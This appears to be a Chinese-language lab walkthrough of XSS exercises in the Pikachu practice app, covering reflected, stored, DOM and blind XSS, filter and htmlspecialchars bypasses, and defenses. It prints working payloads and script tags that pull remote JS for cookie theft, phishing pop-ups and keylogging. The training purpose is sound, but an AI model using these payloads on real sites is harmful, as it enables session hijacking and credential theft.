Pikachu-XSS（跨站脚本）漏洞
反射型xss（get）：
1.首先确认页面上是否存在xss漏洞。输入一些特殊的字符，'"<>6666,点击提交，看是否会被过滤掉。返回的结果如下。
2.查看页面源码，在源码页面查找我们刚输入的字符'"<>6666，发现输入的字符，被输出在了p标签里，这可能说明如果我们输入一些js的代码，也会被原封不动的输出在p标签里面
3.输入js。先来测试输入js能否正确的执行（弹窗），输入<script>('xss')</script>，执行成功在浏览器中
4.查看源码，发现我们输入的这个payload，被嵌入到了p标签里面。这个正确的js被正确的执行
5.刷新一下页面，之前的数据不会出现，也不会出现弹框，这就是反射型的xss
6.输入一个payload，<script>(1)</script>,点击提交，弹出1。提交是以get的方式提交到后台
get方式的xss漏洞更加容易被利用，一般利用的方式是将带有跨站脚本的URL伪装后发送给目标；而post方式是以表单方式提交的，无法直接使用URL方式进行攻击。
存储型xss：
存储型xss漏洞跟反射型形成的原因一样，不同的是存储型xss下攻击者可以将脚本注入到后台存储起来，构成更加持久的伤害，因此存储型xss又称为“永久型”xss。
1.打开存储型xss，有一个留言板
2.在留言板上写一个留言，点击提交。发现页面上会出现我们的留言，刷新页面，留言也不会消失。也就是说，我们提交的留言被后台存储在数据库里
3.测试接口是否存在xss漏洞。输入特殊字符'"<>?&6666，点击提交，发现我们输入的这些特殊字符，当作留言显示在页面上
4.查看源码，发现我们输入的一串特殊字符也被嵌到p标签里，并没有做任何的过滤和转译处理
5.接下来，输入一个简单的js脚本进行测试(弹窗)，进行提交。点击提交，会被提交到后台，后台将数据进行存储，然后在前端以弹窗的形式展现。如图出现弹窗。也就意味着刚输入的留言被存到了数据库中
6.重新刷新页面时，还会弹出xss的窗口。因为输入的js脚本的留言被存储到了数据库中，每次访问这个页面时，都会触发js脚本运行
DOM型xss：
可以把DOM理解成一个一个访问HTML的标准编程接口。
1.打开pikachu中的DOM型xss
2.输入一个字符，点击click me，弹出一句英文
3.查看源码
4.判断是否存在xss漏洞。构造闭合，构造出的闭合时#' onclick="alert(111)">。将构造出的闭合输入到页面中，点击提交
5.点击下面的’>what do you see?就会弹框。这就说明存在DOM型的xss漏洞
形成DOM型xss漏洞的原因是前端的输入被DOM获取到，对DOM进行操作，然后通过DOM又在前端进行了输出。不进行后台交互。
DOM型xss-x：
1.打开下一个DOM型xss。根据提示进行输入，提交，会显示出一句话
2.查看页面源码。发现输入是从浏览器的URL中获取的，形成漏洞的输入点是在URL的参数中。
3.接下来就是构造闭合。使用刚刚的闭合#' onclick="alert(111)">，因为输出还是在a标签中。输入闭合，提交。点击出现的这句话并不会出现弹窗
4.点击出现的这句话，会出现另一句话
5.再点击第二次出现的这句话就会出现弹窗
6.查看源码得知，
XSS获取cookie：
get型xss利用：cookie获取
1.以反射型xss（get）为例。目的是为了获取本地的cookie，并发送到XSS的后台。
2.输入上图中的payload，点击提交
3.查看xss后台，就会获取到cookie信息。后台就会出现记录，127.0.0.1对应的cookie信息，referer和useragent信息
POST型xss利用：cookie获取（POST方式不通过URL进行提交）
1.POST表单自动提交页面-----代码分析
当用户访问页面时，这个页面会自动向有漏洞的网站提交一个POST请求
2.登录页面
3.模拟恶意站点：http://127.0.0.1/post.html（可以使用两个虚拟机进行模拟）。点击连接进入，说明攻击已经完成，获取到cookie值。
XSS钓鱼案例：存储型xss钓鱼攻击
1.只要在存储型xss页面嵌入一个能够访问后台的payload。把<script src="http://127.0.0.1/pikachu-master/pkxss/xfish/fish.php"></script>嵌入到页面上，每当用户访问页面时，页面就会执行这条js，然后请求远端的fish.php文件
2.之后，只要访问这个页面，都会弹出上图的框，只要用户输入账号和密码，就会被后台的文件获取到。
XSS键盘记录：存储型xss
跨域：
跨域--同源策略：
为了安全考虑，所有的浏览器都约定了“同源策略”，同源策略规定，两个不同域名之间不能使用JS进行相互操作。例，x.com域名下的js并不能操作y.com域名下的对象。如果想要跨域操作，需要管理员进行特殊的配置。
1.代码分析
2.在存储型xss的页面输如一个能够调用远程js的一个方法。将<script src="http://127.0.0.1/pikachu-master/pkxss/rkeypress/rk.js"></script>输入到留言板上。点击提交，此时，我们已经将这段代码嵌入到了页面中。
3.打开控制台，在页面上随便输入一个键盘，回显是页面请求失败。因为同源策略，但1.5是我们自己建立的，所以允许任何人访问，重新打开存储型xss的页面。随便输入几个数字，js会把我们输入的全部记下来，这样儿在xss后台就会得到键盘录入的结果。
XSS盲打：
xss盲打是xss的一种攻击场景。“xss盲打”是指在攻击者对数据提交后展现的后台未知的情况下，网站采用了攻击者插入了带真实攻击功能的xss攻击代码（通常是使用script标签引入远程的js）的数据。当未知后台在展现时没有对这些提交的数据进行过滤，那么后台管理人员在操作时就会触发xss来实现攻击者预定好的“真实攻击功能”。
通过xss盲打可以注入盗cookie的脚本得到管理员的信息。
1.打开pikachu中的xss盲打页面。我们会看到页面中的内容
2.根据内容提示，我们随便输入数据，看会有什么样的结果。我们发现提交会，页面上会显示出如图中框出的话。从而得知我们输入的内容并不会在前端页面显示，而是提交到了后台，前端的用户并不能看到我们输入的内容。这种就是xss的盲打。
3.我们输入js语句，实现弹窗。提交。并不会在前端页面进行弹窗，而是在后台
4.模拟后台管理员进行登录。点击页面中的提示，会提示出后台地址
5.登陆后台地址
6.在后台的页面我们输入用户名和密码，登录。登录之后就会出现弹窗xni。因为跨站脚本会在管理员页面执行，这就是xss盲打。
XSS绕过：
过滤--转换：
- 前端限制绕过，直接抓包重放，或者修改html前端代码；
- 大小写，比如：<SCRIPT>aLeRT(111)<sCRIpt>；
- 拼凑：<scri<script>pt>alert(111)</scri</script>pt>；
- 使用注释进行干扰：<scri<!--test-->pt>alert(111)</sc<!--test-->ript>;
过滤--编码：
核心思路：后台过滤了特殊字符，比如<script>标签，但该标签可以被各种编码，后台不一定会过滤。当浏览器对该编码进行识别时，会翻译成正常的标签，从而执行。
在使用编码时需要注意编码在输出点要能够被正常识别和翻译
1.打开pikachu中的xss过滤页面
2.在页面中输入一些对应的字符串。输入<script>;";66666。点击提交
3.查看页面源码。我们发现我们刚刚输入的<script>标签不见了，只剩下图中圈的部分。可能是后台对我们输入的<script>标签进行了过滤。
4.进一步验证是否进行了过滤。使用大小写混合的方式尝试做一个绕过。输入<ScRiPT>alert(111)</ScRIPT>。我们发现弹出了框。说明后端对小写的script进行了过滤
5.这里因为过滤的是小写的<script>标签，所以可以使用img。输入<img src=x onerror="alert(1111)">。也出现了弹窗
XSS之htmlspecialchars绕过:
关于htmlspecialchars()函数：
1.打开pikachu中的xss之htmlspecialchars页面
2.随便输入一个字符串进行提交，看后台是如何处理的。输入11111'"<>&
3.查看源码，看后台是如何处理这串字符的。我们发现<>和"都被进行了编码，但是"并没有进行编码
4.此时我们构造q'onclick='alert(1111)'这样的payload进行测试，点击提交
5.再点击上图中框住的部分，发现弹窗
XSS常见防范措施：
总的原则：输入做过滤，输出做转义。
- 过滤：根据业务需求进行过滤，比如输入点要求输入手机号，则只允许输入手机号格式的数字。
- 转义：所有输出到前端的数据都根据输出点进行转义，比如输出到html中进行htnl实体转义，输入JS里面的进行js转义。
XSS之href输出：
1.输入payload，javascript:alert(111)，其中没有特殊字符。提交
2.查看页面源码
3.点击提交后，页面出现的文字。发现出现弹窗。这是因为输出在a标签的href属性里面,可以使用javascript协议来执行js
4.防御这种xss之href绕过：只允许http,https,其次在进行htmlspecialchars处理
XSS之js输出：输出点是在JS中
输出点在js中的xss问题,应该怎么修：
如果进行html的实体编码,虽然可以解决XSS的问题,但是实体编码后的内容,在JS里面不会进行翻译,这样会导致前端的功能无法使用。所以在JS的输出点应该使用\对特殊字符进行转义
1.随便输入字符。输入111111.
2.查看源码。如果输入tmac，则输出什么，否则输出其他
3.输入tmac。输出的下面的图片
4.构造闭合x'</script><script>alert('xss')</script。xss弹窗执行
